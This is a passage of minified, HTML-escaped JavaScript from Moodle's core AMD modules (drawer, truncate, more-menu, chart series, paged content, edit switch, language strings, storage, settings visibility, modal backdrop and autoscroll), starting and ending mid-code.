   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),PubSub=_interopRequireWildcard(PubSub),Aria=_interopRequireWildcard(Aria),_drawer_events=_interopRequireDefault(_drawer_events);const show=root=&gt;{root=(0,_jquery.default)(root),Aria.unhide(root.get()),root.removeClass(&quot;hidden&quot;),root.attr(&quot;aria-expanded&quot;,!0),root.focus(),PubSub.publish(_drawer_events.default.DRAWER_SHOWN,root)},hide=root=&gt;{(root=(0,_jquery.default)(root)).addClass(&quot;hidden&quot;),root.attr(&quot;aria-expanded&quot;,!1),Aria.hide(root.get()),PubSub.publish(_drawer_events.default.DRAWER_HIDDEN,root)},isVisible=root=&gt;!root.hasClass(&quot;hidden&quot;),toggle=root=&gt;{isVisible(root)?hide(root):show(root)};var _default={hide:hide,show:show,isVisible:isVisible,toggle:toggle,registerToggles:(root,toggleElements)=&gt;{let openTrigger=null;toggleElements.attr(&quot;aria-expanded&quot;,isVisible(root)),toggleElements.on(&quot;click&quot;,(e=&gt;{e.preventDefault();const wasVisible=isVisible(root);toggle(root),toggleElements.attr(&quot;aria-expanded&quot;,!wasVisible),wasVisible?openTrigger&amp;&amp;(openTrigger.focus(),openTrigger=null):openTrigger=toggleElements.filter(((index,element)=&gt;element==e.target||element.contains(e.target)))}))},getDrawerRoot:contentRoot=&gt;(contentRoot=(0,_jquery.default)(contentRoot)).closest(&#039;[data-region=&quot;right-hand-drawer&quot;]&#039;)};return _exports.default=_default,_exports.default}));
/**
 * Module for text truncation.
 *
 * Implementation provided by Pathable (thanks!).
 * See: https://github.com/pathable/truncate
 *
 * @module     core/truncate
 * @copyright  2017 Pathable
 *             2017 Mathias Bynens
 *             2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/truncate&quot;,[&quot;jquery&quot;],(function($){var chop=/(\s*\S+|\s)$/,start=/^(\S*)/,space=/\s/,charLengthAt=function(text,position){var string=String(text),size=string.length,index=position?Number(position):0;if(index!=index&amp;&amp;(index=0),index&lt;=-1||index&gt;=size)return&quot;&quot;;index|=0;var cuSecond,cuFirst=string.charCodeAt(index),nextIndex=index+1,len=1;return cuFirst&gt;=55296&amp;&amp;cuFirst&lt;=56319&amp;&amp;size&gt;nextIndex&amp;&amp;(cuSecond=string.charCodeAt(nextIndex))&gt;=56320&amp;&amp;cuSecond&lt;=57343&amp;&amp;(len=2),len},lengthMultiByte=function(text){for(var count=0,i=0;i&lt;text.length;i+=charLengthAt(text,i))count++;return count},getSliceLength=function(text,amount){if(!text.length)return 0;var length=0,count=0;do{length+=charLengthAt(text,length),count++}while(length&lt;text.length&amp;&amp;count&lt;amount);return length};return $.truncate=function(html,options){return $(&quot;&lt;div&gt;&lt;/div&gt;&quot;).append(html).truncate(options).html()},$.fn.truncate=function(options){isNaN(parseFloat(options))||(options={length:options});var o=$.extend({},$.truncate.defaults,options);return this.each((function(){var self=$(this);o.noBreaks&amp;&amp;self.find(&quot;br&quot;).replaceWith(&quot; &quot;);var ellipsisLength=o.ellipsis.length,text=self.text(),textLength=lengthMultiByte(text),excess=textLength-o.length+ellipsisLength;if(!(textLength&lt;o.length)){if(o.stripTags&amp;&amp;self.text(text),o.words&amp;&amp;excess&gt;0){var sliced=text.slice(0,getSliceLength(text,o.length-ellipsisLength)+1),replaced=sliced.replace(chop,&quot;&quot;),truncated=lengthMultiByte(replaced),oneWord=!sliced.match(space);excess=o.keepFirstWord&amp;&amp;0===truncated?textLength-lengthMultiByte(start.exec(text)[0])-ellipsisLength:oneWord&amp;&amp;0===truncated?textLength-o.length+ellipsisLength:textLength-truncated-1}excess&gt;textLength&amp;&amp;(excess=textLength-o.length),excess&lt;0||!excess&amp;&amp;!o.truncated||$.each(self.contents().get().reverse(),(function(i,el){var $el=$(el),text=$el.text(),length=lengthMultiByte(text);if(length&lt;=excess)return o.truncated=!0,excess-=length,void $el.remove();if(3===el.nodeType){var splitAmount=length-excess;return splitAmount=splitAmount&gt;=0?getSliceLength(text,splitAmount):0,$(el.splitText(splitAmount)).replaceWith(o.ellipsis),!1}return $el.truncate($.extend(o,{length:length-excess+ellipsisLength})),!1}))}}))},$.truncate.defaults={stripTags:!1,words:!1,keepFirstWord:!1,noBreaks:!1,length:1/0,ellipsis:&quot;…&quot;},{truncate:$.truncate}}));
define(&quot;core/moremenu&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/menu_navigation&quot;],(function(_exports,_jquery,_menu_navigation){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Moves wrapping navigation items into a more menu.
   *
   * @module     core/moremenu
   * @copyright  2021 Moodle
   * @author     Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_jquery=_interopRequireDefault(_jquery),_menu_navigation=_interopRequireDefault(_menu_navigation);const Selectors_regions={moredropdown:&#039;[data-region=&quot;moredropdown&quot;]&#039;,morebutton:&#039;[data-region=&quot;morebutton&quot;]&#039;},Selectors_classes={dropdownitem:&quot;dropdown-item&quot;,dropdownmoremenu:&quot;dropdownmoremenu&quot;,hidden:&quot;d-none&quot;,active:&quot;active&quot;,nav:&quot;nav&quot;,navlink:&quot;nav-link&quot;,observed:&quot;observed&quot;},Selectors_attributes={menu:&#039;[role=&quot;menu&quot;]&#039;,dropdowntoggle:&#039;[data-toggle=&quot;dropdown&quot;]&#039;};let isTabListMenu=!1;const autoCollapse=menu=&gt;{const maxHeight=menu.parentNode.offsetHeight+1,moreDropdown=menu.querySelector(Selectors_regions.moredropdown),moreButton=menu.querySelector(Selectors_regions.morebutton);if(menu.offsetHeight&gt;maxHeight){moreButton.classList.remove(Selectors_classes.hidden);Array.from(menu.children).reverse().forEach((item=&gt;{if(!item.classList.contains(Selectors_classes.dropdownmoremenu)&amp;&amp;menu.offsetHeight&gt;maxHeight){const lastNode=menu.removeChild(item);moveIntoMoreDropdown(menu,lastNode,!0)}}))}else&quot;children&quot;in moreDropdown&amp;&amp;(Array.from(moreDropdown.children).forEach((item=&gt;{if(menu.offsetHeight&lt;maxHeight&amp;&amp;&quot;true&quot;!==item.dataset.forceintomoremenu){const lastNode=moreDropdown.removeChild(item);moveOutOfMoreDropdown(menu,lastNode)}})),0===Array.from(moreDropdown.children).length&amp;&amp;moreButton.classList.add(Selectors_classes.hidden)),menu.offsetHeight&gt;maxHeight&amp;&amp;autoCollapse(menu);menu.parentNode.classList.add(Selectors_classes.observed)},moveIntoMoreDropdown=function(menu,navNode){let prepend=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];const moreDropdown=menu.querySelector(Selectors_regions.moredropdown),dropdownToggle=menu.querySelector(Selectors_attributes.dropdowntoggle),navLink=navNode.querySelector(&quot;.&quot;+Selectors_classes.navlink);navLink.classList.contains(Selectors_classes.active)&amp;&amp;(dropdownToggle.classList.add(Selectors_classes.active),dropdownToggle.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),navLink.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),isTabListMenu&amp;&amp;navLink.removeAttribute(&quot;aria-selected&quot;),navLink.setAttribute(&quot;aria-current&quot;,&quot;true&quot;)),navLink.setAttribute(&quot;role&quot;,&quot;menuitem&quot;),navLink.classList.remove(Selectors_classes.navlink),navLink.classList.add(Selectors_classes.dropdownitem),prepend?moreDropdown.prepend(navNode):moreDropdown.append(navNode)},moveOutOfMoreDropdown=(menu,navNode)=&gt;{const moreButton=menu.querySelector(Selectors_regions.morebutton),dropdownToggle=menu.querySelector(Selectors_attributes.dropdowntoggle),navLink=navNode.querySelector(&quot;.&quot;+Selectors_classes.dropdownitem);isTabListMenu&amp;&amp;navLink.setAttribute(&quot;role&quot;,&quot;tab&quot;),navLink.classList.contains(Selectors_classes.active)&amp;&amp;(dropdownToggle.classList.remove(Selectors_classes.active),dropdownToggle.setAttribute(&quot;tabindex&quot;,&quot;-1&quot;),navLink.setAttribute(&quot;tabindex&quot;,&quot;0&quot;),isTabListMenu&amp;&amp;(navLink.removeAttribute(&quot;aria-current&quot;),navLink.setAttribute(&quot;aria-selected&quot;,&quot;true&quot;))),navLink.classList.remove(Selectors_classes.dropdownitem),navLink.classList.add(Selectors_classes.navlink),menu.insertBefore(navNode,moreButton)};return _exports.default=menu=&gt;{isTabListMenu=&quot;tablist&quot;===menu.getAttribute(&quot;role&quot;);if(!window.location.hash){const itemRole=isTabListMenu?&quot;tab&quot;:&quot;menuitem&quot;,menuListItem=menu.firstElementChild,roleSelector=&quot;[role=&quot;.concat(itemRole,&quot;]&quot;),menuItem=menuListItem.querySelector(roleSelector),ariaAttribute=isTabListMenu?&quot;aria-selected&quot;:&quot;aria-current&quot;;menu.querySelector(&quot;[&quot;.concat(ariaAttribute,&quot;=&#039;true&#039;]&quot;))||(menuItem.setAttribute(ariaAttribute,&quot;true&quot;),menuItem.setAttribute(&quot;tabindex&quot;,&quot;0&quot;))}if(&quot;children&quot;in menu){const moreButton=menu.querySelector(Selectors_regions.morebutton);Array.from(menu.children).forEach((item=&gt;{item.classList.contains(Selectors_classes.dropdownmoremenu)||&quot;true&quot;!==item.dataset.forceintomoremenu||(moveIntoMoreDropdown(menu,item,!1),moreButton.classList.contains(Selectors_classes.hidden)&amp;&amp;moreButton.classList.remove(Selectors_classes.hidden))}))}autoCollapse(menu),(0,_menu_navigation.default)(menu),window.addEventListener(&quot;resize&quot;,(()=&gt;{autoCollapse(menu),(0,_menu_navigation.default)(menu)}));const toggledropdown=e=&gt;{const innerMenu=e.target.parentNode.querySelector(Selectors_attributes.menu);innerMenu&amp;&amp;innerMenu.classList.toggle(&quot;show&quot;),e.stopPropagation()};(0,_jquery.default)(&quot;.&quot;+Selectors_classes.dropdownmoremenu).on(&quot;show.bs.dropdown&quot;,(function(){menu.querySelector(Selectors_regions.moredropdown).querySelectorAll(&quot;.dropdown&quot;).forEach((dropdown=&gt;{dropdown.removeEventListener(&quot;click&quot;,toggledropdown,!0),dropdown.addEventListener(&quot;click&quot;,toggledropdown,!0)}))}))},_exports.default}));
/**
 * Chart series.
 *
 * @copyright  2016 Frédéric Massart - FMCorz.net
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @module     core/chart_series
 */
define(&quot;core/chart_series&quot;,[],(function(){function Series(label,values){if(&quot;string&quot;!=typeof label)throw new Error(&quot;Invalid label for series.&quot;);if(&quot;object&quot;!=typeof values)throw new Error(&quot;Values for a series must be an array.&quot;);if(values.length&lt;1)throw new Error(&quot;Invalid values received for series.&quot;);this._colors=[],this._label=label,this._values=values}return Series.prototype.TYPE_DEFAULT=null,Series.prototype.TYPE_LINE=&quot;line&quot;,Series.prototype._colors=null,Series.prototype._fill=!1,Series.prototype._label=null,Series.prototype._labels=null,Series.prototype._smooth=!1,Series.prototype._type=Series.prototype.TYPE_DEFAULT,Series.prototype._values=null,Series.prototype._xaxis=null,Series.prototype._yaxis=null,Series.prototype.create=function(obj){var s=new Series(obj.label,obj.values);return s.setType(obj.type),s.setXAxis(obj.axes.x),s.setYAxis(obj.axes.y),s.setLabels(obj.labels),obj.colors&amp;&amp;obj.colors.length&gt;1?s.setColors(obj.colors):s.setColor(obj.colors[0]),s.setFill(obj.fill),s.setSmooth(obj.smooth),s},Series.prototype.getColor=function(){return this._colors[0]||null},Series.prototype.getColors=function(){return this._colors},Series.prototype.getCount=function(){return this._values.length},Series.prototype.getFill=function(){return this._fill},Series.prototype.getLabel=function(){return this._label},Series.prototype.getLabels=function(){return this._labels},Series.prototype.getSmooth=function(){return this._smooth},Series.prototype.getType=function(){return this._type},Series.prototype.getValues=function(){return this._values},Series.prototype.getXAxis=function(){return this._xaxis},Series.prototype.getYAxis=function(){return this._yaxis},Series.prototype.hasColoredValues=function(){return this._colors.length==this.getCount()},Series.prototype.setColor=function(color){this._colors=[color]},Series.prototype.setColors=function(colors){if(colors&amp;&amp;colors.length!=this.getCount())throw new Error(&quot;When setting multiple colors there must be one per value.&quot;);this._colors=colors||[]},Series.prototype.setFill=function(fill){this._fill=void 0===fill?null:fill},Series.prototype.setLabels=function(labels){this._validateLabels(labels),labels=void 0===labels?null:labels,this._labels=labels},Series.prototype.setSmooth=function(smooth){smooth=void 0===smooth?null:smooth,this._smooth=smooth},Series.prototype.setType=function(type){if(type!=this.TYPE_DEFAULT&amp;&amp;type!=this.TYPE_LINE)throw new Error(&quot;Invalid serie type.&quot;);this._type=type||null},Series.prototype.setXAxis=function(index){this._xaxis=index||null},Series.prototype.setYAxis=function(index){this._yaxis=index||null},Series.prototype._validateLabels=function(labels){if(labels&amp;&amp;labels.length&gt;0&amp;&amp;labels.length!=this.getCount())throw new Error(&quot;Series labels must match series values.&quot;)},Series}));
/**
 * Javascript for dynamically changing the page limits.
 *
 * @module     core/paged_content_paging_bar_limit_selector
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content_paging_bar_limit_selector&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/paged_content_events&quot;,&quot;core/pubsub&quot;],(function($,CustomEvents,PagedContentEvents,PubSub){var SELECTORS_LIMIT_OPTION=&quot;[data-limit]&quot;;return{init:function(root,id){root=$(root),CustomEvents.define(root,[CustomEvents.events.activate]),root.on(CustomEvents.events.activate,SELECTORS_LIMIT_OPTION,(function(e,data){var optionElement=$(e.target).closest(SELECTORS_LIMIT_OPTION);if(!optionElement.hasClass(&quot;active&quot;)){var limit=parseInt(optionElement.attr(&quot;data-limit&quot;),10);PubSub.publish(id+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT,limit),data.originalEvent.preventDefault()}}))},rootSelector:&#039;[data-region=&quot;paging-control-limit-container&quot;]&#039;}}));
define(&quot;core/modal_cancel&quot;,[&quot;exports&quot;,&quot;core/modal&quot;],(function(_exports,_modal){var obj;
/**
   * Contain the logic for the cancel modal.
   *
   * @module     core/modal_cancel
   * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.default=void 0,_modal=(obj=_modal)&amp;&amp;obj.__esModule?obj:{default:obj};class _default extends _modal.default{constructor(root){super(root),this.getFooter().find(this.getActionSelector(&quot;cancel&quot;)).length||Notification.exception({message:&quot;No cancel button found&quot;})}registerEventListeners(){super.registerEventListeners(),this.registerCloseOnCancel()}}return _exports.default=_default,_exports.default}));
/**
 * Javascript to load and render a paged content section.
 *
 * @module     core/paged_content
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/paged_content&quot;,[&quot;jquery&quot;,&quot;core/paged_content_pages&quot;,&quot;core/paged_content_paging_bar&quot;,&quot;core/paged_content_paging_bar_limit_selector&quot;,&quot;core/paged_content_paging_dropdown&quot;],(function($,Pages,PagingBar,PagingBarLimitSelector,Dropdown){return{init:function(root,renderPagesContentCallback,namespaceOverride){var pagesContainer=(root=$(root)).find(Pages.rootSelector),pagingBarContainer=root.find(PagingBar.rootSelector),dropdownContainer=root.find(Dropdown.rootSelector),pagingBarLimitSelectorContainer=root.find(PagingBarLimitSelector.rootSelector),id=root.attr(&quot;id&quot;);namespaceOverride&amp;&amp;(id=namespaceOverride),Pages.init(pagesContainer,id,renderPagesContentCallback),pagingBarContainer.length&amp;&amp;PagingBar.init(pagingBarContainer,id),pagingBarLimitSelectorContainer.length&amp;&amp;PagingBarLimitSelector.init(pagingBarLimitSelectorContainer,id),dropdownContainer.length&amp;&amp;Dropdown.init(dropdownContainer,id)},rootSelector:&#039;[data-region=&quot;paged-content-container&quot;]&#039;}}));
define(&quot;core/edit_switch&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;,&quot;core/event_dispatcher&quot;,&quot;core/notification&quot;],(function(_exports,_ajax,_event_dispatcher,_notification){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=_exports.eventTypes=void 0;
/**
   * Controls the edit switch.
   *
   * @module     core/edit_switch
   * @copyright  2021 Bas Brands &lt;bas@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const eventTypes={editModeSet:&quot;core/edit_switch/editModeSet&quot;};_exports.eventTypes=eventTypes;const notifyEditModeSet=(container,editMode)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.editModeSet,{editMode:editMode},container,{cancelable:!0});_exports.init=editingSwitchId=&gt;{const editSwitch=document.getElementById(editingSwitchId);editSwitch.addEventListener(&quot;change&quot;,(()=&gt;{var context,setmode;(context=editSwitch.dataset.context,setmode=editSwitch.checked,(0,_ajax.call)([{methodname:&quot;core_change_editmode&quot;,args:{context:context,setmode:setmode}}])[0]).then((result=&gt;{result.success?(editSwitch=&gt;{editSwitch.checked?editSwitch.setAttribute(&quot;aria-checked&quot;,!0):editSwitch.setAttribute(&quot;aria-checked&quot;,!1),notifyEditModeSet(editSwitch,editSwitch.checked).defaultPrevented||(window.location=editSwitch.dataset.pageurl)})(editSwitch):editSwitch.checked=!1})).catch(_notification.exception)}))}}));
define(&quot;core/str&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/ajax&quot;,&quot;core/localstorage&quot;],(function(_exports,_jquery,_ajax,_localstorage){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Fetch and return language strings.
   *
   * @module     core/str
   * @copyright  2015 Damyon Wiese &lt;damyon@moodle.com&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   * @since      2.9
   *
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.get_strings=_exports.get_string=_exports.cache_strings=void 0,_jquery=_interopRequireDefault(_jquery),_ajax=_interopRequireDefault(_ajax),_localstorage=_interopRequireDefault(_localstorage);let promiseCache=[];_exports.get_string=(key,component,param,lang)=&gt;get_strings([{key:key,component:component,param:param,lang:lang}]).then((results=&gt;results[0]));const get_strings=requests=&gt;{let requestData=[];const pageLang=(0,_jquery.default)(&quot;html&quot;).attr(&quot;lang&quot;).replace(/-/g,&quot;_&quot;),stringPromises=requests.map((request=&gt;{const cacheKey=(_ref=&gt;{let{key:key,component:component,lang:lang=pageLang}=_ref;return component||(component=&quot;core&quot;),&quot;core_str/&quot;.concat(key,&quot;/&quot;).concat(component,&quot;/&quot;).concat(lang)})(request),{component:component,key:key,param:param,lang:lang=pageLang}=request,buildReturn=promise=&gt;(promiseCache[cacheKey]=promise,promise);if(component in M.str&amp;&amp;key in M.str[component])return buildReturn(new Promise((resolve=&gt;{resolve(M.util.get_string(key,component,param,lang))})));const cached=_localstorage.default.get(cacheKey);return cached?(M.str[component]={...M.str[component],[key]:cached},buildReturn(new Promise((resolve=&gt;{resolve(M.util.get_string(key,component,param,lang))})))):cacheKey in promiseCache?buildReturn(promiseCache[cacheKey]).then((()=&gt;M.util.get_string(key,component,param,lang))):buildReturn(new Promise(((resolve,reject)=&gt;{requestData.push({methodname:&quot;core_get_string&quot;,args:{stringid:key,stringparams:[],component:component,lang:lang},done:str=&gt;{M.str[component]={...M.str[component],[key]:str},_localstorage.default.set(cacheKey,str),resolve(M.util.get_string(key,component,param,lang))},fail:reject})})))}));return requestData.length&amp;&amp;_ajax.default.call(requestData,!0,!1,!1,0,M.cfg.langrev),_jquery.default.when.apply(_jquery.default,stringPromises).then((function(){for(var _len=arguments.length,strings=new Array(_len),_key=0;_key&lt;_len;_key++)strings[_key]=arguments[_key];return strings}))};_exports.get_strings=get_strings;_exports.cache_strings=strings=&gt;{const defaultLang=(0,_jquery.default)(&quot;html&quot;).attr(&quot;lang&quot;).replace(/-/g,&quot;_&quot;);strings.forEach((_ref2=&gt;{let{key:key,component:component,value:value,lang:lang=defaultLang}=_ref2;const cacheKey=[&quot;core_str&quot;,key,component,lang].join(&quot;/&quot;);component in M.str&amp;&amp;key in M.str[component]||(component in M.str||(M.str[component]={}),M.str[component][key]=value),_localstorage.default.get(cacheKey)||_localstorage.default.set(cacheKey,value),cacheKey in promiseCache||(promiseCache[cacheKey]=_jquery.default.Deferred().resolve(value).promise())}))}}));
/**
 * Simple API for set/get to sessionstorage, with cacherev expiration.
 *
 * Session storage will only persist for as long as the browser window
 * stays open.
 *
 * See:
 * https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage
 *
 * @module     core/sessionstorage
 * @copyright  2017 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/sessionstorage&quot;,[&quot;core/config&quot;,&quot;core/storagewrapper&quot;],(function(config,StorageWrapper){var storage=new StorageWrapper(window.sessionStorage);return{get:function(key){return storage.get(key)},set:function(key,value){return storage.set(key,value)}}}));
/**
 * A helper to manage pendingJS checks.
 *
 * @module     core/pending
 * @copyright  2018 Andrew Nicols &lt;andrew@nicols.co.uk&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(&quot;core/pending&quot;,[&quot;jquery&quot;],(function($){var request=function(pendingKey){var pendingPromise=$.Deferred();return pendingKey=pendingKey||{},M.util.js_pending(pendingKey),pendingPromise.then((function(){return M.util.js_complete(pendingKey)})).catch(),pendingPromise};return request.prototype.constructor=request,request}));
/**
 * Show/hide admin settings based on other settings selected
 *
 * @copyright 2018 Davo Smith, Synergy Learning
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/showhidesettings&quot;,[&quot;jquery&quot;],(function($){var dependencies;function isCheckboxHiddenElement($el){return $el.is(&quot;input[type=hidden]&quot;)&amp;&amp;$el.siblings(&#039;input[type=checkbox][name=&quot;&#039;+$el.attr(&quot;name&quot;)+&#039;&quot;]&#039;).length}function isCheckedRelevant($el,value){return!isCheckboxHiddenElement($el)&amp;&amp;!function($el,value){return $el.is(&quot;input[type=radio]&quot;)&amp;&amp;$el.attr(&quot;value&quot;)!==value}($el,value)}function isUncheckedRadioButton($el){return $el.is(&quot;input[type=radio]&quot;)&amp;&amp;!$el.prop(&quot;checked&quot;)}function isUncheckedCheckbox($el){return $el.is(&quot;input[type=checkbox]&quot;)&amp;&amp;!$el.prop(&quot;checked&quot;)}function isMultiSelect($el){return $el.is(&quot;select&quot;)&amp;&amp;$el.prop(&quot;multiple&quot;)}function multiSelectMatches($el,values){var selected=$el.val()||[];if(!values.length)return!1;if(selected.length!==values.length)return!1;for(var i in selected)if(selected.hasOwnProperty(i)&amp;&amp;-1===values.indexOf(selected[i]))return!1;return!0}var depFns={notchecked:function($dependon,value){var hide=!1;return value=String(value),$dependon.each((function(idx,el){var $el=$(el);isCheckedRelevant($el,value)&amp;&amp;(hide=hide||!$el.prop(&quot;checked&quot;))})),hide},checked:function($dependon,value){var hide=!1;return value=String(value),$dependon.each((function(idx,el){var $el=$(el);isCheckedRelevant($el,value)&amp;&amp;(hide=hide||$el.prop(&quot;checked&quot;))})),hide},noitemselected:function($dependon){var hide=!1;return $dependon.each((function(idx,el){var $el=$(el);hide=hide||-1===$el.prop(&quot;selectedIndex&quot;)})),hide},eq:function($dependon,value){var hide=!1,hiddenVal=!1;return value=String(value),$dependon.each((function(idx,el){var $el=$(el);if(!isUncheckedRadioButton($el))if(isCheckboxHiddenElement($el))hiddenVal=$el.val()===value;else if(isUncheckedCheckbox($el))hide=hide||hiddenVal;else if(isMultiSelect($el)){var values=value.split(&quot;|&quot;);hide=multiSelectMatches($el,values)}else hide=hide||$el.val()===value})),hide},in:function($dependon,value){var hide=!1,hiddenVal=!1,values=value.split(&quot;|&quot;);return $dependon.each((function(idx,el){var $el=$(el);isUncheckedRadioButton($el)||(isCheckboxHiddenElement($el)?hiddenVal=values.indexOf($el.val())&gt;-1:hide=isUncheckedCheckbox($el)?hide||hiddenVal:isMultiSelect($el)?multiSelectMatches($el,values):hide||values.indexOf($el.val())&gt;-1)})),hide},defaultCondition:function($dependon,value){var hide=!1,hiddenVal=!1;return value=String(value),$dependon.each((function(idx,el){var $el=$(el);if(!isUncheckedRadioButton($el))if(isCheckboxHiddenElement($el))hiddenVal=$el.val()!==value;else if(isUncheckedCheckbox($el))hide=hide||hiddenVal;else if(isMultiSelect($el)){var values=value.split(&quot;|&quot;);hide=!multiSelectMatches($el,values)}else hide=hide||$el.val()!==value})),hide}};function getElementsByName(name){return $(&#039;[name=&quot;&#039;+name+&#039;&quot;],[name^=&quot;&#039;+name+&#039;[&quot;]&#039;)}function updateDependencies(){var toHide={};$.each(dependencies,(function(dependonname){var dependon=getElementsByName(dependonname);$.each(dependencies[dependonname],(function(condition,values){$.each(values,(function(value,elements){var hide=function($dependon,condition,value){return&quot;function&quot;==typeof depFns[condition]?depFns[condition]($dependon,value):depFns.defaultCondition($dependon,value)}(dependon,condition,value);$.each(elements,(function(idx,elToHide){toHide.hasOwnProperty(elToHide)?toHide[elToHide]=toHide[elToHide]||hide:toHide[elToHide]=hide}))}))}))})),$.each(toHide,(function(elToHide,hide){getElementsByName(elToHide).each((function(idx,el){var $parent=$(el).closest(&quot;.form-item&quot;);$parent.length&amp;&amp;(hide?$parent.hide():$parent.show())}))}))}return{init:function(opts){dependencies=opts.dependencies,$.each(dependencies,(function(depname){var $el=getElementsByName(depname);$el.length&amp;&amp;$el.on(&quot;change&quot;,updateDependencies)})),updateDependencies(),$(&quot;.form-dependenton&quot;).hide()}}}));
/**
 * Contain the logic for modal backdrops.
 *
 * @module     core/modal_backdrop
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;core/modal_backdrop&quot;,[&quot;jquery&quot;,&quot;core/templates&quot;,&quot;core/notification&quot;,&quot;core/fullscreen&quot;],(function($,Templates,Notification,Fullscreen){var SELECTORS_ROOT=&#039;[data-region=&quot;modal-backdrop&quot;]&#039;,ModalBackdrop=function(root){this.root=$(root),this.isAttached=!1,this.attachmentPoint=document.createElement(&quot;div&quot;),document.body.append(this.attachmentPoint),this.root.is(SELECTORS_ROOT)||Notification.exception({message:&quot;Element is not a modal backdrop&quot;})};return ModalBackdrop.prototype.getRoot=function(){return this.root},ModalBackdrop.prototype.getAttachmentPoint=function(){return $(Fullscreen.getElement()||this.attachmentPoint)},ModalBackdrop.prototype.attachToDOM=function(){this.getAttachmentPoint().append(this.root),this.isAttached||(this.isAttached=!0)},ModalBackdrop.prototype.setZIndex=function(value){this.root.css(&quot;z-index&quot;,value)},ModalBackdrop.prototype.isVisible=function(){return this.root.hasClass(&quot;show&quot;)},ModalBackdrop.prototype.hasTransitions=function(){return this.getRoot().hasClass(&quot;fade&quot;)},ModalBackdrop.prototype.show=function(){this.isVisible()||(this.attachToDOM(),this.root.removeClass(&quot;hide&quot;).addClass(&quot;show&quot;))},ModalBackdrop.prototype.hide=function(){this.isVisible()&amp;&amp;(this.hasTransitions()?this.getRoot().one(&quot;transitionend webkitTransitionEnd oTransitionEnd&quot;,function(){this.getRoot().removeClass(&quot;show&quot;).addClass(&quot;hide&quot;)}.bind(this)):this.getRoot().removeClass(&quot;show&quot;).addClass(&quot;hide&quot;),$(document.body).find(this.getRoot()).length&amp;&amp;$(document.body).append(this.getRoot()))},ModalBackdrop.prototype.destroy=function(){this.root.remove(),this.attachmentPoint.remove()},ModalBackdrop}));
/*
 * JavaScript to provide automatic scrolling, e.g. during a drag operation.
 *
 * Note: this module is defined statically. It is a singleton. You
 * can only have one use of it active at any time. However, since this
 * is usually used in relation to drag-drop, and since you only ever
 * drag one thing at a time, this is not a problem in practice.
 *
 * @module     core/autoscroll
 * @copyright  2016 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.6
 */
define(&quot;core/autoscroll&quot;,[&quot;jquery&quot;],(function($){var autoscroll={SCROLL_THRESHOLD:30,SCROLL_FREQUENCY:1e3/60,SCROLL_SPEED:.5,scrollingId:null,scrollAmount:0,callback:null,start:function(callback){$(window).on(&quot;mousemove&quot;,autoscroll.mouseMove),$(window).on(&quot;touchmove&quot;,autoscroll.touchMove),autoscroll.callback=callback},stop:function(){$(window).off(&quot;mousemove&quot;,autoscroll.mouseMove),$(window).off(&quot;touchmove&quot;,autoscroll.touchMove),null!==autoscroll.scrollingId&amp;&amp;autoscroll.stopScrolling()},touchMove:function(e){for(var i=0;i&lt;e.changedTouches.length;i++)autoscroll.handleMove(e.changedTouches[i].clientX,e.changedTouches[i].clientY)},mouseMove:function(e){autoscroll.handleMove(e.clientX,e.clientY)},handleMove:function(clientX,clientY){clientY&lt;autoscroll.SCROLL_THRESHOLD?autoscroll.scrollAmount=-Math.min(autoscroll.SCROLL_THRESHOLD-clientY,autoscroll.SCROLL_THRESHOLD):clientY&gt;$(window).height()-autoscroll.SCROLL_THRESHOLD?autoscroll.scrollAmount=Math.min(clientY-($(window).height()-autoscroll.SCROLL_THRESHOLD),autoscroll.SCROLL_THRESHOLD):autoscroll.scrollAmount=0,autoscroll.scrollAmount&amp;&amp;null===autoscroll.scrollingId?autoscroll.startScrolling():autoscroll.scrollAmount||null===autoscroll.scrollingId||autoscroll.stopScrolling()},startScrolling:function(){var maxScroll=$(document).height()-$(window).height();autoscroll.scrollingId=window.setInterval((function(){var 